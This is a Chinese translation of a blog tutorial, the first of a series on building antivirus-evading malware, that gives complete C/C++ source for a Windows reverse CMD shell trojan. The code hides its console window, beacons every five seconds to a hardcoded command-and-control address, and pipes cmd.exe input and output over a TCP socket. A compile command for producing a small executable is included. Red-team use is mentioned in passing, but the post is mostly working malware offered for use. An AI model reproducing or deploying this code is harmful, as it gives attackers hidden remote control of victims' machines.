构建木马-第一部分:简单的CMD反向Shell
序言
如果你尚未观看视频,请查看我做的躲避防病毒程序的链接:
1. Windows 云机器学习防护躲避
2.卡巴斯基防病毒躲避
除了上述两个,我还能够躲避赛门铁克终端保护,它同样基于机器学习和迈克菲。 我没有为他们上传视频,而是决定写一个全新的系列,分为3个部分,每部分如下所示
构建恶意软件第1部分:简单的CMD反向Shell
构建恶意软件第2部分:在模拟组织环境中躲避防病毒程序
构建恶意软件第3部分:逃避机器学习检测
在我们开始之前,我首先要告诉你这不是初学者的博客帖子。 你将需要至少一些C / C ++和Python的编程经验。 如果你想要一些关于编写恶意软件的基本知识,你可以在这里阅读我的其他关于恶意软件开发的适合初学者的博客系列: NII-Checkmate ,它专注于在C / C ++中调用Windows API来编写具有Python3调用接口的自定义恶意软件。
在这篇文章中,我们将介绍一种使用C / C ++编写的建立在TCP上的反向CMD shell。 请注意,这并非完全无法察觉。 在下一篇文章中,我将介绍如何编写完全无法被线下防病毒软件检测到的企业级恶意软件,以及我们如何使用HTTP协议代替TCP协议 ,使用主机名而不是C2服务器的IP地址来编写C / C ++代码并躲避防火墙检测。 在最后一部分中,我将编写如何躲避使用机器学习来检测可执行文件异常行为的防病毒软件。
我们的主要目标是避开所有东西,同时尽可能降低可执行文件的大小。 随着时间的推移,我们不断写代码并且加密,可执行文件的大小将增加,因此需要记录下,我们在使用哪些外部库以及如何编译代码,无论是静态库还是动态库。 如果你使用g ++编译下面的可执行程序,大小应该在21Kb左右,对于我在Linux中使用的mingw交叉编译器来说,生成的恶意软件的大小是13Kb ,对于cl,例如微软的编译器,大小大约是87Kb,它做了很多代码优化。 此外,你也可以使用netcat,或构建一个python服务器来处理反向shell的多个通信。 对我而言,我已经用Cython构建了一个C2服务器,它使用多进程同时处理多个木马。我已将其命名为Prometheus ,如上所示。
说的够多了,让我们编写一些恶意代码......
#头文件包含
以下是我们要使用的头文件:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
在上面的代码中, winsock2.h和ws2tcpip.h用于TCP / IP上的Windows套接字通信。 windows.h 用于调用其他进程,初始化其他头文件和调用。 我们使用#pragma comment(lib,“Ws2_32.lib”)来通知编译器将该库静态编译为可执行文件。 如果没有这个,我们的可执行文件将无法在任何计算机上运行,除非他们的系统中安装了Microsoft Visual C / C ++ redistributable组件。 因为我们无法确定这一点,所以我们将在可执行文件内静态链接此库,而不是动态链接它,以便它在每台机器上都能运行。 最后,我们在一个变量中为socket的recv和send函数定义缓冲区长度,并给它1024字节的固定大小。
PS:如果您没有使用微软编译器,则你必须使用g++ / mingw32-g++中的-lws2_32选项静态链接可执行文件。
我将把整个代码分成两个函数。 一个是主函数,另一个是执行生成反向shell的任务的函数。 让我们来看看主函数:
main()
int main(int argc, char **argv) {
FreeConsole();
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "192.168.56.130";
int port = 8080;
RunShell(host, port);
}
return 0;
}
在上面的代码中,我的主函数接受3个参数。 我在使用FreeConsole()函数来禁用控制台窗口,以便用户看不到它。 如果我们的程序收到3个参数,它将使用第2个参数作为C2服务器的 IP,第3个参数作为C2的端口。 如果它没有收到任何参数,它将使用硬编码的主机和端口作为C2服务器和端口,并将其转发到另一个名为RunShell()的函数,该函数运行反向 shell。 我们现在来看看RunShell函数。
RunShell()
在我们开始之前,让我来告诉你,我们需要确保我们的恶意软件即使断开连接也应继续运行,无论是因为故意还是因为错误。 因此,我们将使用while true循环和Sleep函数,这样如果我们断开连接,它将会休眠几秒钟然后连接回我们。 这被称为beaconing。 在进行红队评估时,请确保使用基于时间的自定义beaconing,以便在代理级别不会检测到它。
void RunShell(char* C2Server, int C2Port) {
while(true) {
Sleep(5000); // 1000 = One Second
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
基本上,我们的函数接受来自main函数的C2 IP和C2 端口的具体信息。 接下来它会睡5秒钟。 然后它初始化TCP / IP的套接字。 我不会解释这一点,因为我之前已经在我上面提到的NII的恶意软件开发博客中解释了这一点。
主要部分从第16行开始。如果我们无法连接到服务器,它将关闭套接字并重复while循环。 一旦我们连接到C2 IP和C2 端口,我们将等待通过网络发送的数据。 甚至像换行这种数据都很好。 但是,如果我们收到长度为零的缓冲区(第24,25行),则表示套接字已断开连接,我们将再次进入睡眠状态并在5秒后重新连接。
第31行是产生shell的地方。 我们使用一个名为Process的变量,它包含字符串cmd.exe 。 我们初始化一个名为STARTUPINFO和PROCESS_INFORMATION的结构体。 STARTUPINFO结构体包含有关在进程启动之前应该注意的所有详细信息,PROCESS_INFORMATION包含有关新进程,父进程,子进程,其他线程及其如何运行的详细信息。 然而,这里的重要部分是在第37行,我将mySocket类型转换为一个句柄HANDLE ,并传递STARTUPINFO结构体的所有输入(hStdInput),输出(hStdOuput),错误(hStdError)。 在下一行(即第38行)中,我使用CreateProcess API创建一个进程,该进程使用上述变量创建cmd.exe进程,并使用上面创建的&sinfo将输入,输出和错误传递给HANDLE。 这个sinfo将通过套接字将所有数据发送到我们的C2Server,我们可以查看我们在cmd进程中执行的命令的所有错误和输出。
最后,我们等待这个子进程,即cmd.exe完成并关闭进程句柄。 最后,在第44行,我将再次等待通过网络接收缓冲区数据。 如果我收到一个包含“ exit \ n ”的字符串,它将退出我们的套接字程序,否则将继续while循环。
您可以使用以下命令通过g++或mingw32-g++编译上述恶意软件:
$ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
最终的源代码上传到我的Github配置文件。
结语
下面是执行它时的样子。它在我的Windows 7 虚拟机上。如果你查看我们刚写的恶意软件的属性,它显示只有13KB,如前所述。
请记住,这只是恶意软件的基本框架。在红队或APT场景中使用的恶意软件要求程序自动检测代理,使用HTTP / HTTPS / DNS / ICMP进行渗透,检查代理认证,逃避防火墙,IPS,端点保护,基于主机的IDS,沙箱,基于机器学习的防病毒,DPI(深度包检测)和许多其他的东西。同时,你需要在可执行文件本身内进行加密,以使逆向工程师更难破解你的恶意软件。
到本系列结束时,我们将躲避上述大多数检测方案。直到那时......
原文链接:https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
编译:看雪翻译小组 jdlxy
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-10-16 08:38
被jdlxy编辑
,原因: 链接不全